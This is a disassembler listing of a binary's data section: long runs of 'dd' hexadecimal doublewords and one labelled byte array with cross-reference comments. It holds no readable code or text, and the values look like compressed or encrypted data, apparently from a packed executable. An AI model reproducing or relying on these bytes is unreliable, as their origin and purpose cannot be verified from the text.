		dd 9979A84h, 98FFAE4Eh,	0A38C2300h, 6E00280Eh, 17B92459h
		dd 3BC94Fh, 3D6DB3DDh, 6CBB8DC8h, 97BD3203h, 0B4377581h
		dd 450000A8h, 0EF76801Ah, 7900274Fh, 0D3BE7473h, 0F3DF8FCh
		dd 727818C6h, 3FF6FFA0h, 0DE007EC0h, 51E74915h,	1E7BC895h
		dd 76317BCh, 22965h, 0FD9A4A99h, 0C1BF4Ch, 47B23E30h, 366AFh
		dd 365E54CFh, 0EC3110E1h, 0C8DC34F9h, 23BFEF02h, 8196553Fh
		dd 0C7A54ABh, 923A9C2Ch, 380B2C78h, 0DE950030h,	699326E2h
		dd 0D4FD9900h, 40D07996h, 89470FE9h, 3483035Eh,	801EA35Dh
		dd 0B0CE65B1h, 24900BEh, 4CD37DE4h, 250E5E70h, 9EE05B22h
		dd 6FCA0DB0h, 0EAB1F600h, 5E31D9EEh, 62730061h,	24119A48h
		dd 507C6E1Fh, 30962E1Ch, 2100BC5Fh, 72FB6676h, 62370039h
		dd 27D1B37Dh, 0E1503118h, 2C1ED070h, 11467F5Dh,	3399A0BDh
		dd 0CC214FBEh, 19BB000h, 64473EE1h, 73DA0097h, 0A80AFCC1h
		dd 0EA000658h, 0BE86F3A4h, 1E0EAFh, 25013012h, 0D448529Eh
		dd 0F994BF05h, 0D7800907h, 7DC63474h, 9F3B00DBh, 0E695C013h
		dd 0BE0745C7h, 448B1A2Dh, 0FDB1F8E0h, 0F3F9000Ah, 0ACE7F6A9h
		dd 82002567h, 0D7C25036h, 586C5470h, 8C0B7DFBh,	7A7E0A60h
		dd 3F37E707h, 2B91B6C0h, 5D74072Fh, 20569399h, 0F8E67A2Ah
		dd 0AE200700h, 6879B348h, 2FB000B1h, 613FA4CAh,	3C0093F3h
		dd 26B2FE95h, 1EB873D6h, 4924EE8h, 902A027Ah, 0EC095050h
		dd 0A688121Ch, 0FECE4E1Eh, 40D88903h, 0A17194h,	0F9D051EBh
		dd 0D52A81C4h, 0B45AE00h, 99F795BDh, 2CB15219h,	0D930C2F2h
		dd 516C009Fh, 0E0B593D1h, 51C4C9CEh, 7082971Ch,	0FB77E04Bh
		dd 0E3BD060Ah, 205D21CEh, 3CB02895h, 3F465Ch, 2DC9CCFDh
		dd 1D72B06Dh, 0CC6004C3h, 0FBD83DCEh, 61881E10h, 0CEB3DF8h
		dd 31490366h, 0F029BADCh, 924470B8h, 0C003CC18h, 28D89h
		dd 8E659177h, 380D35A7h, 1039FB00h, 0A41216FFh,	2AC90198h
		dd 0F17371ADh, 4DB4E034h, 9C14F9C3h, 0B759808Bh, 0D88D0078h
		dd 636702CBh, 7160C945h, 8BAD4730h, 14C04DEFh, 7675100h
		dd 2E61991Fh, 9383432h,	334D03Ch, 9B077EF1h, 4FF8E574h
		dd 3043E68h, 0B2C895Ch,	64ADD380h, 0C0BFE645h, 0F0EDE660h
		dd 143ED51Bh, 2AC4800Dh, 0EB5863B6h, 6BF6000Bh,	0B27CF1C9h
		dd 0A0E4DE1h, 81532C03h, 941A8B11h, 3DF02E8h, 742918D9h
		dd 5FC09EBCh, 2600B47Ch, 28313EEEh, 6E7570h, 3F2CD311h
		dd 82B761D1h, 0E5C5C700h, 16C3CCA0h, 65B600B3h,	2390A5D2h
		dd 0CCB0BDA7h, 7CEAD3Fh, 0DED39385h, 3A565E30h,	64F20090h
		dd 69C10B1Eh, 0FC0B0C20h, 80838242h, 0F304CFF8h, 37D500CDh
		dd 0A1D96AA4h, 0C10170FDh, 1C19E233h, 437020BEh, 5A0D0A67h
		dd 0F6046802h, 11CE8F30h, 15C649Ah, 3555247Eh, 0EC58D2FBh
		dd 0D471807Ch, 330C53Eh, 0B07ACB6Bh, 0E79EE348h, 0E03EFEF3h
		dd 74C950F9h
		dd 59606085h, 0B1C83D3h, 9D507D63h, 875FCCF3h, 4CCC934Bh
		dd 0D6006128h, 2631876Ch, 70CF903Fh, 4B1207E9h,	349FF474h
		dd 66BD8009h, 0ED67D504h, 84486AF9h, 15B648Fh, 0A1161B78h
		dd 0E90E5980h, 386203Dh, 1A12AB05h, 70226534h, 0E556207Ah
		dd 513AE6B1h, 0E106768Ch, 38CB6ABEh, 9B801FE9h,	56AD0002h
		dd 4B21789Dh, 5699622h,	1201C3B5h
		db 68h
byte_520045	db 30h,	4Ch, 0E5h	; DATA XREF: ___:00437A60o
					; ___:00437A78o
		dd 1F0109CEh, 0E959268Eh, 680024FAh, 1750782Eh,	0C506D314h
		dd 3069903Dh, 9BEF00A8h, 268DECD4h, 6052C901h, 41EBDF4h
		dd 0B207FCACh, 6916BD30h, 8DC180Dh, 3AE4A08Ch, 7E9E028Dh
		dd 33718234h, 76170440h, 0F806B7EEh, 495BC508h,	8014228h
		dd 3B3D67DCh, 59B20142h, 53A7BD2h, 42844608h, 54F1112Eh
		dd 1E081921h, 0F1C4BD6Ah, 0B5257B12h, 6FB47501h, 0A1C001A8h
		dd 0B676073Bh, 0E01AAE11h, 80EA5EBEh, 157C1778h, 6F0026F6h
		dd 11D12F9Eh, 23CDBAh, 0D53FE76Ah, 92D99FEBh, 7600BE7Ch
		dd 0F3E12503h, 67BF31h,	0E0180A99h, 7D411202h, 565FAD01h
		dd 24B35BBCh, 3C3870h, 40ECDEEBh, 0C93533Fh, 0B359D0F7h
		dd 0E7CF8B00h, 8A675E02h, 0ABA700B4h, 29EE21BDh, 7D00E358h
		dd 5F4E5A1Ah, 0A239FAh,	7B75E451h, 0EBFD3CDCh, 1F5D061Eh
		dd 60058DC1h, 0DC256772h, 7B5E3E0h, 0EADCDBB1h,	92A4104Fh
		dd 0F60F0355h, 40711575h, 42B2B441h, 0DE6400DBh, 0EAAF1422h
		dd 0D61C6EC0h, 53C048CFh, 65E054B2h, 6C4903BEh,	39E17120h
		dd 560078D6h, 1586D7C4h, 12DBF155h, 40CDFB5Bh, 179DA91Ch
		dd 5D005369h, 4FB6D571h, 1F81E84h, 52405137h, 605ECECFh
		dd 0D4C05FC0h, 5DDF2521h, 137144h, 31F0F7F2h, 37B3EA88h
		dd 503B0200h, 0C0AC8EFAh, 823200D9h, 1F220D2Ah,	9501DFAAh
		dd 1C18A6A8h, 7CEC068Eh, 1DE900D1h, 662B394Fh, 0B6015CC0h
		dd 33770D36h, 1080A770h, 0F584052Ah, 4E00071Dh,	0F88F3240h
		dd 3D52E5h, 5477A4C1h, 0E8E4ED0Ah, 0A9359500h, 3F471A76h
		dd 64B0008Eh, 1E5B27B9h, 4500256Dh, 0A2CC0C3Bh,	0E1976801h
		dd 9006D4h, 40B3E86h, 0A4B2D77Eh, 7531EF00h, 0E128611Ah
		dd 0B39103D5h, 36E81CCAh, 0E5F997A0h, 48245F00h, 5B317ADAh
		dd 99B800A8h, 0EFAA764Fh, 0C0003755h, 18E81DBFh, 0BB343Dh
		dd 0E67ADECFh, 7C40CD92h, 77F8BFh, 65D493D0h, 0E1E8F3DAh
		dd 13FC8E00h, 1203A6E4h, 0D65B0E38h, 1CE092D1h,	265A76C5h
		dd 0DF00807Eh, 9A0A9371h, 78A0FAD0h, 49A904B5h,	8060B7E2h
		dd 9F79FD97h, 2C524C00h, 749201F1h, 0EA370271h,	48C4B967h
		dd 0BE8618C8h, 9B0076EAh, 4F79F3Ch, 3C7282EBh, 0F5011C1Ah
		dd 0C17E22B9h, 937E09Bh, 84AD909h, 8231876Ch, 3B8F7E3Fh
		dd 62462064h, 0C5393F42h, 18F95Ch, 8ED0C5D8h, 9900AAB9h
		dd 62BA6C2h, 5814E2h, 0AB33ED1Ch, 0F8750B9Ah, 64E46850h
		dd 0B4159000h, 4899F128h, 1CDF07F5h, 8018E197h,	8C89FEE7h
		dd 0B8B1DA00h, 0B28FB413h, 54192C11h, 0C15E4040h, 0D80164FBh
		dd 59E460F8h, 0D2D487DDh, 126200FAh, 0D384DC5Eh, 0A63F74AEh
		dd 334180E8h, 1A92FB7Ah, 67C00FDh, 4B867721h, 2B26719Bh
		dd 0FA172C36h, 16BFAD00h, 0F758DAh, 0BE6A4CEEh,	21A17D6Ch
		dd 4DE31839h, 834AA03Ch, 0D6C41D2Dh, 0F823C0B2h, 0AC9E2416h
		dd 56A3EA00h, 0BBE46455h, 4A2D00C2h, 4B66C812h,	0A1989284h
		dd 0A8504C03h, 0CC6B3Ah, 0E109F920h, 0D4B05519h, 1DFD3105h
		dd 2FC02F3Ch, 1FD5AEF4h, 400F3B78h, 0B97074DAh,	0B24AA86h
		dd 803AD837h, 0BDA5656Eh, 506C2Ah, 9E44A778h, 2F952A2h
		dd 0F50AB207h, 0C08038C2h, 0AA05B9h, 0FDD1AFD5h, 44D2431Ah
		dd 0AE3CB700h, 0F76D77DFh, 0D8031C09h, 6B9DC0FFh, 27F9C602h
		dd 55F88700h, 1D858373h, 33D75E7h, 9723FEB8h, 10B21220h
		dd 0ED7560C0h, 0F8AAE30Fh, 290F8Bh, 5CB1E7A3h, 20930055h
		dd 0B6E6E07Bh, 0F000E527h, 0A251CA58h, 63256FDh, 0BC26784Eh
		dd 6C00789Ch, 0DDF081DFh, 0AE5F09h, 8392BE23h, 0DCEEA61Ah
		dd 9C9813ECh, 0E788AA03h, 0C802FE2Ah, 51CAB76h,	62E09634h
		dd 0F7B800CCh, 4946163Ah, 9A7FE706h, 1F318F2Bh,	4062B20Bh
		dd 28AEB779h, 0CE035AB9h, 0A5E8720h, 554AE8BEh,	0C82E00B6h
		dd 0F612C71Eh, 500975FCh, 6A3421h, 54C0E54h, 0B630033Bh
		dd 0F20A1282h, 303CEFC1h, 800047Ch, 85EE1A4Dh, 6318FDh
		dd 0E6C0A806h, 407A9591h, 0E828C9EBh, 6B00B673h, 0BF2469A0h
		dd 0B91B94h, 0DDCC48CAh, 0A893AF58h, 0D3811000h, 24AEE3E2h
		dd 1BC7206h, 71B1FB8Bh,	30ADE040h, 70486213h, 0CD0400DCh
		dd 99D2E8DEh, 8D390097h, 1B5846EBh, 3E0008AFh, 3BF5120Ah
		dd 63CB2DD7h, 0C62C1032h, 0E6AEEFE8h, 1677B800h, 0D3206E07h
		dd 0E04D00E4h, 54C26004h, 94BBF5h, 61B2790Fh, 2DEE4EFDh
		dd 1DC1DC8h, 13BED099h,	60B0A024h, 0F03F0D14h, 0C58C00AFh
		dd 7A8707DEh, 0DF5E08E8h, 0E7030401h, 80846A89h, 0B1E1417h
		dd 0BCB2D8E1h, 0A1EC097Dh, 2F654E74h, 0C5497980h, 64FF4205h
		dd 72C72300h, 0D1400378h, 52700376h, 44D69F63h,	5F617992h
		dd 0C372DC3Eh, 0C70CE300h, 120407B4h, 65F0091h,	8275BCD1h
		dd 180066EBh, 0EDC949CCh, 3F523B4Bh, 0C0800BD4h, 0E6D0D2B0h
		dd 8000DB51h, 382E5804h, 0DED5DDh, 1F357B48h, 0FCF4661Ch
		dd 86CDCB00h, 9EB02A74h, 0CEDB00D1h, 760306C1h,	94B185E8h
		dd 6C5DAB07h, 37C75B90h, 786B002Eh, 430F029Bh, 0E8C07B67h
		dd 9C71541Eh, 0F8060380h, 4C821A03h, 0F280CC83h, 9D0018B5h
		dd 0AD2D9F75h, 0F2166471h, 61F607F3h, 602FABC5h, 0C3B850F0h
		dd 0BA6648h, 952DF496h,	80691Bh, 5A88CB5Fh, 248BC4B6h
		dd 7A2C8A00h, 0BA951068h, 3BF240h, 7E42F2D6h, 1FB14596h
		dd 49B91900h, 8BEF31DEh, 0BBD700CDh, 0CFC293A9h, 0E809E04Fh
		dd 812071D6h, 6E5A273Bh, 0E04056D1h, 3A9FE4C3h,	0E280642Bh
		dd 73535547h, 0D400DAB7h, 4666224Ah, 1F77B674h,	0C08F9745h
		dd 0C2F6F5ADh, 8360CFC5h, 0C6CDF711h, 0EC4316BEh, 0D1D44EF4h
		dd 20BF961Dh, 92A3480h,	0DFC9C401h, 4612EFD9h, 0C59B30h
		dd 67058BA6h, 20398158h, 21B0C800h, 0FF3F26D0h,	0E73E075Ah
		dd 0A07E4361h, 4BE94642h, 1E965E13h, 10457009h,	48478BC8h
		dd 0AC002D83h, 975EB79Fh, 9E7BAD8Ah, 8E73427Ah,	0B1EE0905h
		dd 0E081F815h, 0C2DC6380h, 37EF3001h, 0A8604F5Ah, 9E959A00h
		dd 0A54DCB7Ah, 28CEE81h, 1B8B78AFh, 3342D187h, 4E713660h
		dd 881F2930h, 974435h, 0D0FE9D2Bh, 9CE4303Ah, 5118DE04h
		dd 0A48745B4h, 73F05D51h, 2DD6EF4h, 0E70534ABh,	0E380D9C1h
		dd 0C8719E2Bh, 210A1912h, 97D8BE02h, 44FC8204h,	0BE76009Fh
		dd 837E280Fh, 164DB5Ch,	6E52CAA5h, 3C305A54h, 62AC3033h
		dd 39EE290Eh, 3E04AB98h, 1D9AC8EDh, 0C4B1483h, 1EE4DECEh
		dd 0B5EC0D10h, 1B00F97Dh, 4FEA83C0h, 452A032h, 589DCE91h
		dd 0A67C8065h, 9803E8B1h, 0E9B9EA1Ah, 162DE8C0h, 908F0077h
		dd 0EB3C43E5h, 0F50059E2h, 8ED2A68Ah, 0E811E3Fh, 248514B8h
		dd 0E38002A9h, 0CE7EA2E2h, 0B99E9100h, 64D86C3Bh, 3FE880h
		dd 6F500D0Ch, 5D1F318Eh, 5F0A2600h, 7B172D5Ch, 0CC140005h
		dd 30CD668Ah, 68670D6Eh, 0F7A3A450h, 0D494D0E9h, 67CFCA9h
		dd 3A7204F2h, 11B09A5Eh, 49414200h, 3B846B75h, 0F62C00D3h
		dd 0DD3416BCh, 0DE00831Bh, 0DF3D0FA8h, 96A4B29h, 0C5F70D62h
		dd 0DBEA5810h, 36B40F00h, 0F8522DA5h, 7DC0FF1Bh, 0C2C0356h
		dd 3A098FDCh, 532832F0h, 6F616004h, 6EC18411h, 0ECDC5947h
		dd 0ED76038h, 5B6395FAh, 0C07C551Eh, 47F58F8Eh,	3E81785Fh
		dd 0E1F420F2h, 0FFC60074h, 7E736317h, 3D035B31h, 65474877h
		dd 7803E0CEh, 0C6AA0095h, 7BEBAFF1h, 0E0EC1AA3h, 1F620103h
		dd 0AA8BE6D4h, 8732C016h
		dd 4AB80267h, 30DB4BFEh, 3ACD56h, 0F6BF8663h, 1EEC1ABh
		dd 8784941Ah, 0CC2EB84Bh, 0CDF4F96Ch, 0F8240A1Ch, 17633100h
		dd 2719Ah, 308FC370h, 2F53A09Fh, 0D5FE4800h, 64BF8CDBh
		dd 2BA01E0h, 857F3CEEh,	748B4054h, 18004088h, 554E4582h
		dd 3B250DFAh, 2D0227E5h, 0E0D81948h, 3A391F60h,	8D305CF6h
		dd 0DF022849h, 0CAB63B35h, 224FBA01h, 38AE5E21h, 0D89000D4h
		dd 69A508F0h, 17A4B025h, 209CF1C2h, 0CEA82250h,	97DA4800h
		dd 7C4D9A77h, 754307D5h, 90419889h, 0CAF21362h,	0E602D72Ch
		dd 929B1000h, 255650h, 0E9CEB920h, 0D7306E69h, 1BBEE300h
		dd 2D7DF680h, 0D84000A5h, 0BC1CE635h, 4315771h,	0C8829801h
		dd 48E834h, 0F136C50Eh,	4DB55389h, 189A3000h, 0E87F5D45h
		dd 1DAB0014h, 9994BC74h, 0D9000563h, 46C0D45Bh,	0F662F5FAh
		dd 81A0079Ch, 50442F96h, 0D1A1477Dh, 2AA9B303h,	0D828B804h
		dd 1DE901CEh, 56405D31h, 0C0B41E7Eh, 0DA8F552Ah, 0D34C4C9Eh
		dd 4EFA2C3Bh, 84C0421Ch, 471FDC7Bh, 1DA100D5h, 0A4051997h
		dd 0D7010495h, 0D84A09FEh, 0DD7032CAh, 2DE27D8Ah, 0C650925Eh
		dd 779E060Fh, 5C1EC0FAh, 0E037AAh, 1B80287Dh, 0CD23D5CFh
		dd 0D9020102h, 68657287h, 16E63198h, 3F6A0h, 0E750A280h
		dd 2000B2C4h, 560C4DD6h, 0B3DB44h, 0D4CCC30Bh, 654566BDh
		dd 0CA5B231Eh, 0F100595Fh, 8B5E207Ch, 0D88500C4h, 8FAE5F03h
		dd 9D123C02h, 4000A348h, 0AC1C62CAh, 1D707154h,	0C0F246FDh
		dd 7BD90981h, 0BA73C56Ah, 7E3CB300h, 26525797h,	20346033h
		dd 0E8D4D82Fh, 0B2E30601h, 8976ECAFh, 0D02424h,	0E52D75F3h
		dd 6FD7744Ch, 49BFB900h, 0D34A5D1Dh, 0B0DF7471h, 650A0034h
		dd 1A296F4Fh, 0B97F08F6h, 6A07A0BAh, 2CF5B393h,	9E56E821h
		dd 0C835CCh, 69179C9Fh,	7F04BF96h, 93015F00h, 183F8B4Dh
		dd 13AE00F7h, 4129303Ch, 5D26A299h, 0EB00E444h,	7D037506h
		dd 140B01CFh, 0A708D933h, 7338CC7Fh, 0D8016EB8h, 493B8632h
		dd 0C0E6B4FDh, 0BACF9D9h, 48CFC49Eh, 1F15EF80h,	0D800A6FEh
		dd 7AF02A82h, 2ED34B25h, 308CBCh, 62FC99ABh, 0B90F7C18h
		dd 0E09085DBh, 0E7F14965h, 7D2A0056h, 0B2ADD712h, 0F30015E0h
		dd 0AA0344E5h, 7E527Ch,	32A12B61h, 0AEC0CE45h, 5B8448h
		dd 26A4D72Ch, 1F4F4C27h, 24CCB348h, 25003B3Ch, 0A3DEAD42h
		dd 890031CBh, 0D78BFED3h, 0C024A6Ch, 7FC0545Bh,	56000311h
		dd 0BB01353h, 0EEBB74h,	0A8FAEF7Ah, 0F781BD15h,	2BCE48h
		dd 0F92D501Ah, 1C537Dh,	835B9922h, 4D01977h, 0C9B9F700h
		dd 4BBF3616h, 5DA032Dh,	3037C1C4h, 63E47A00h, 0D3D50377h
		dd 0D1920146h, 7DD3C34h, 0A522CCC3h, 4440ED07h,	0C77029B1h
		dd 1F8A4906h, 8753A9D3h, 403F772Ah, 91DF10EAh, 72584F00h
		dd 90D012E5h, 8CC7001Ch, 2CB115DBh, 0DD3D1333h,	5930CE2h
		dd 12B9C9Ch, 0BD2683E0h, 0DC99DE92h, 160297D3h,	5FBE6346h
		dd 80A88FCFh, 4047F2B6h, 0FA86007Bh, 843FE435h,	810061B9h
		dd 3E83B37h, 63A3B8h, 0EA5101BFh, 70A42A09h, 53A81803h
		dd 0C02B77ECh, 3D38FD4h, 0ABB2372Fh, 6050CA9Fh,	29013A75h
		dd 0B075C3DCh, 0FFD66A61h, 0C68FFDC3h, 0AB18885Dh, 3631CB49h
		dd 398802FBh, 28801337h, 771D28B4h, 3C0BB3E6h, 20CE8028h
		dd 38F6CC44h, 879D37C5h, 0C9F34245h, 6F405D2Bh,	0CB18DE7Fh
		dd 43791F75h, 8E9E0037h, 214B6190h, 890193FDh, 25C26A8Fh
		dd 42307B86h, 54423B09h, 0DE0C723Ah, 0CF88150Bh, 6218A801h
		dd 41688F86h, 0CC46A850h, 54220020h, 0FCC36C1Ah, 63007256h
		dd 1FD1CD44h, 0A80C58h,	7BD641C4h, 67F3A227h, 5B3AE61Dh
		dd 77C04B1Eh, 26D9EE39h, 9AE895h, 49DB025Eh, 0FA7B220Eh
		dd 0EA486100h, 32F6D9B8h, 0F5B20F66h, 4D80EB41h, 9035E717h
		dd 1D7CF00h, 409589D1h,	597A00E2h, 9A435444h, 5200ECDEh
		dd 41C165C4h, 3A3889h, 0C967C27Fh, 155F16E5h, 0E648B800h
		dd 83C42EE9h, 66CF0368h, 1C829B6Bh, 9030D0E7h, 0E9008FDBh
		dd 2D1F5F70h, 79884D0Ah, 16D312E4h, 103F00D0h, 979DED7Fh
		dd 373EDB00h, 5EA61F4Eh, 0EAFE19h, 4D2CB734h, 628FF4CCh
		dd 2017E00Fh, 324883E6h, 969EE04Fh, 18B261DEh, 11D84B9Ch
		dd 0C0404E81h, 0A8669F98h, 27F97BCh, 6C71A051h,	0F0AF2014h
		dd 0C20E69Fh, 7D115FCCh, 46528500h, 1F7323E6h, 728B3ADEh
		dd 1C216C30h, 1D034C9Dh, 0D30D2159h, 8419036Fh,	8E44D77Dh
		dd 142863E0h, 4331AD00h, 5765F70Dh, 7AAB01ACh, 0EDA25E4Ch
		dd 9680FFF8h, 0B11CA963h, 56C05398h, 1ED9905Fh,	0ADA6194Ah
		dd 80C40937h, 90677621h, 1860D89Ah, 18B67EF3h, 0DE00AAA6h
		dd 789E2B22h, 12A8D40h,	84262114h, 8E87CE01h, 60E30A29h
		dd 0BEB3A357h, 20270163h, 43B86DCCh, 180ECFFCh,	6453D868h
		dd 980F4B0Ch, 8B6D0770h, 6590A2ACh, 3F2E8617h, 859DB722h
		dd 97D2C034h, 4852FB0Ah, 12D8E900h, 0A1C196BEh,	109400E4h
		dd 0E47BF56h, 0EF0001D6h, 7DAC4362h, 87CD8Bh, 0F3175F4Bh
		dd 3A2B0815h, 0F8002790h, 7DC7B2BFh, 3FC6B043h,	0A180974Ah
		dd 0EC035670h, 92008539h, 0EE87F95Eh, 387B448Dh, 13000463h
		dd 0B307A9C5h, 211F7D2Dh, 0F9035DAAh, 0E0DC2B70h, 3F36E29h
		dd 0FF491256h, 0EB989B96h, 5A00D83Eh, 43121E1h,	3F1A90h
		dd 2814273Dh, 3E1BFF5Bh, 7361C31Eh, 0D69BC0C7h,	33899200h
		dd 0AC0902D4h, 0A5B1DFFBh, 0BC075E0h, 0B9AF30C0h, 720F2F2Bh
		dd 0BAE1009Ch, 88BD2978h, 0E000FFFCh, 0E24D96C3h, 1D1E79h
		dd 0F17CFA25h, 0D6C54B8Eh, 399AB00Fh, 50C40C11h, 0F69887h
		dd 0F655A8E7h, 0E82C7083h, 108B1701h, 18D9E55Ah, 69D90C3Eh
		dd 84EC0650h, 74DA0B00h, 4AE7A5FDh, 68230024h, 0D09A9E65h
		dd 0B00058CCh, 0C5F0C089h, 6002228Eh, 0CDC8E0B2h, 9AF02135h
		dd 70B8D501h, 0F142D2BDh, 198445C5h, 86D047Dh, 13F1060h
		dd 12CAD79Ch, 0B980A29Dh, 11DC7FF8h, 10C0C340h,	41D7D8E1h
		dd 43BF00D1h, 683DBEC8h, 630305E0h, 0C106655Dh,	0F8D5881Dh
		dd 0DF080002h, 69F4C78Bh, 0E40010EFh, 1409D084h, 63625Ah
		dd 805032Fh, 553C78F1h,	0E78CD900h, 0BA5E1AF3h,	24360004h
		dd 5AC34433h, 1C079B2Eh, 6DDB20B1h, 415F8680h, 30BB0121h
		dd 56357DDCh, 0C375F0E8h, 86993C00h, 19EDB760h,	33C50198h
		dd 0B409A3BEh, 0CBBC4382h, 851DA8A0h, 0DDF98903h, 906D36C5h
		dd 0F15484Eh, 0DB7BC86h, 7D80CA4Fh, 825FC775h, 6174DB70h
		dd 0DACF7A00h, 49265184h, 0FA370F0Fh, 7C5698h, 9A85C347h
		dd 24F46958h, 0C49CBC00h, 0B75FCE5Ah, 0F1FB00A2h, 0A68D3609h
		dd 8C00391Ch, 0C09A582Fh, 34376Bh, 0F78530DDh, 0C87108FAh
		dd 229F3207h, 0CB40FE35h, 0EE478405h, 0EC730070h, 590FD456h
		dd 7C7C8762h, 898BD700h, 1C6E533Fh, 3369004Dh, 8DFCC53Bh
		dd 10073F1h, 8948152Ah,	194922ABh, 291AD24Eh, 445C083Fh
		dd 1084A526h, 2150786Fh, 2ABC0813h, 88969188h, 0D7887AB2h
		dd 106788C4h, 88954D88h, 98A877C3h, 191C29C4h, 484E5948h
		dd 844F9046h, 754824D8h, 24403042h, 84E122E3h, 82272128h
		dd 27044FBFh, 348B2840h, 5D0338A0h, 0E0B440ECh,	6AC9835h
		dd 322E00EEh, 25B5378Ch, 0DE3A70CCh, 5D1C77B3h,	36803E3Bh
		dd 52812127h, 64320EB2h, 1A0A3C7h, 24C8E50h, 6E614400h
		dd 52D694C4h, 0AAE31EE9h
		dd 5132816Ch, 0C8B7CF9Bh, 9900CAE8h, 0E64E7BDCh, 6785ABh
		dd 0DD59B9A8h, 0FB1A1DBBh, 0A6C71000h, 70A528E9h, 5E7799h
		dd 364F2473h, 37137C67h, 8125C400h, 641EFD62h, 6B110018h
		dd 94AB79BEh, 9301714Ch, 5E063760h, 0FBDC29BDh,	0DC88075Bh
		dd 50FA3603h, 95813D09h, 8C91AF1Fh, 1340975Eh, 407BFEF5h
		dd 0BB0F0E74h, 24A05014h, 238B04Dh, 20E01104h, 15832B25h
		dd 5891C836h, 92660010h, 0CDFA3B3Fh, 5207CEC2h,	0D27B99F6h
		dd 3CC04074h, 10F2EF2h,	0D165AA43h, 70CBB574h, 3A003FDDh
		dd 8C114EDBh, 743A198h,	7550A751h, 8F20D7AEh, 6B02CE1h
		dd 82CCF441h, 0FA77CA18h, 136851h, 7A47404Eh, 64C73220h
		dd 0AA9B900h, 0AF3B1987h, 4E1C00FBh, 0F36575CEh, 0A501322Dh
		dd 93F6B66Ch, 78FCCC8Ch, 1D8FE2C3h, 197E0Fh, 0FABC27B8h
		dd 9D017CB4h, 0F64330C1h, 0D7F840E7h, 517500DCh, 9A8E2462h
		dd 6C0DD681h, 31E1EBB5h, 31B6C4h, 29D319AFh, 546EC6EAh
		dd 0AEC9507h, 38E27ACEh, 8ADC4812h, 0E383000Dh,	684CFB05h
		dd 0CC007F81h, 379901E7h, 1F1642h, 80CE6CDh, 0DFFEE184h
		dd 96654701h, 0D2EA5AD7h, 806AB543h, 2C390E41h,	0DA27D6h
		dd 69634C31h, 8B0FCA3Dh, 27E5BC8Fh, 6FE04149h, 90DC0F32h
		dd 63B11D02h, 0D6F98003h, 3FAF6C55h, 4DAD4906h,	287C75h
		dd 6EC8EA30h, 2FC19FA1h, 59A7D400h, 0E252A876h,	7D5A200Fh
		dd 318F7500h, 43D7133h,	0A3900181h, 46ED5058h, 2555DD54h
		dd 8BB03B24h, 1D2A0094h, 0ADB86297h, 6E3E7591h,	0E8D20B2Bh
		dd 1BAF0022h, 4672BBh, 1054CBD3h, 0D0E65A59h, 3A09C1FEh
		dd 22BBFA62h, 30C30138h, 0C9005674h, 4A413606h,	48D5C1F2h
		dd 72002C91h, 85B7F3F0h, 100D987h, 0C8D3496Ch, 0A5EC76h
		dd 0B9D7E35Dh, 94ACFFBDh, 98F80504h, 8079AAh, 5D90DBh
		dd 4A921697h, 688E9469h, 7448CE2Eh, 0DDF6A1Fh, 81EC5580h
		dd 5887AE5Bh, 70009011h, 0A3248CB0h, 5703EAC9h,	925A48EFh
		dd 7279A8C4h, 0E280175Dh, 1C350F60h, 0C0DE51C5h, 0DCD3AC18h
		dd 0F10CF40Eh, 9704E047h, 32136Eh, 9492B7B8h, 0CA3B4079h
		dd 0BB48A800h, 13C98E49h, 44A600CBh, 0B288ADD7h, 0B003512h
		dd 9B2A9334h, 1DCCA3A1h, 8683BA94h, 11B74C1Bh, 1EA48402h
		dd 0C066C5D9h, 3EF789Fh, 0BF55B98Fh, 829804FDh,	5C1E127Fh
		dd 45802428h, 65F3FA51h, 83F0004Fh, 0B5AE130Eh,	3600D6E7h
		dd 856BBD57h, 0E2EB8F59h, 0E1A002Ah, 0BF69DA1Ch, 0C900276Ch
		dd 9F7DF1D0h, 115605h, 7EEE2A1Dh, 810A605Ah, 79E16800h
		dd 0E994BFE7h, 753000ECh, 298928C1h, 0CEECD046h, 9056877h
		dd 56621DD9h, 2AD5F000h, 30128EDh, 0BF26480Fh, 47D8817Ch
		dd 4F7B34BAh, 0AE2E40F0h, 31078855h, 4360DECCh,	0E2748AC4h
		dd 0C8E645h, 53EF5F06h,	2484A21Fh, 0A7229700h, 0DEAFD739h
		dd 15460551h, 4EB583h, 2E0AFE8Dh, 1407B80Eh, 62B79C29h
		dd 43806837h, 0CB6D3Dh,	91A54E51h, 77FA33Ch, 82184261h
		dd 0AFF075E9h, 52FE0046h, 0A080768Fh, 0C1A0123Eh, 8C008782h
		dd 6E0CFC34h, 7D156F70h, 7F947C05h, 0CEF901DFh,	314B2258h
		dd 0F074D9E9h, 2F001192h, 0EB8E3F88h, 54989Ch, 0D830907Fh
		dd 10AC08D5h, 1B1A7D0Eh, 0AB0920D6h, 26981473h,	0E9A526h
		dd 0B24A1FE1h, 5B1F790Dh, 68C0D5C8h, 0A5C2BD41h, 0B2C98A6h
		dd 66E55EC0h, 0E2A3680Fh, 6DE09F63h, 2150C9CDh,	0E000E4DCh
		dd 0AB0ED3FBh, 1E63977Dh, 0C29C2772h, 0DFFDE7C3h, 533964C0h
		dd 80CC6500h, 3B09D7D2h, 72960046h, 5403CD6h, 0E61C2964h
		dd 0FC409998h, 0F75FE93Dh, 7ED9240Eh, 72FA0F7Ch, 0CD7AEF00h
		dd 0E10031CEh, 8DA5F368h, 5CB02D4Bh, 0D0CAB02h,	4499A96Dh
		dd 570CE400h, 0F5425D0Ah, 0B031C65h, 77D94033h,	245CB109h
		dd 0E8E02F00h, 54CE7683h, 0C2EF00B7h, 0B9AB88EAh, 4D266CE6h
		dd 810050F2h, 0DB7A5EBh, 0DACE036Ah, 5F5D0C44h,	53C727D8h
		dd 729B8B00h, 0F293207Ch, 4CB8B070h, 8F018819h,	5752801Fh
		dd 0B894FCAAh, 103CD901h, 21B055B2h, 7702D4h, 0ED811604h
		dd 0EA5DD432h, 0D254781Ch, 6F750100h, 15B785h, 9BA140DFh
		dd 0EC0F03AFh, 2A728E05h, 7BC0487Eh, 943CA6h, 57EE7DD9h
		dd 0A3995A25h, 0C9013F73h, 8E20A283h, 0D2D0461Eh, 1B610073h
		dd 4C0BF616h, 0FE007E57h, 0C081E882h, 1F2A989h,	0F0EB7B23h
		dd 70448E08h, 7D00A395h, 0A5942A4Fh, 0E3F57Fh, 0AEB5435Fh
		dd 9F641FFCh, 13EF2C00h, 97E7D44Ah, 0A77D3Ah, 0D05305BFh
		dd 89F6F458h, 3A849D58h, 40037C46h, 0EBC4ABF9h,	5450D04Dh
		dd 56A80318h, 513C53D6h, 47EF439Bh, 0CC4F306Eh,	0C10FD7B8h
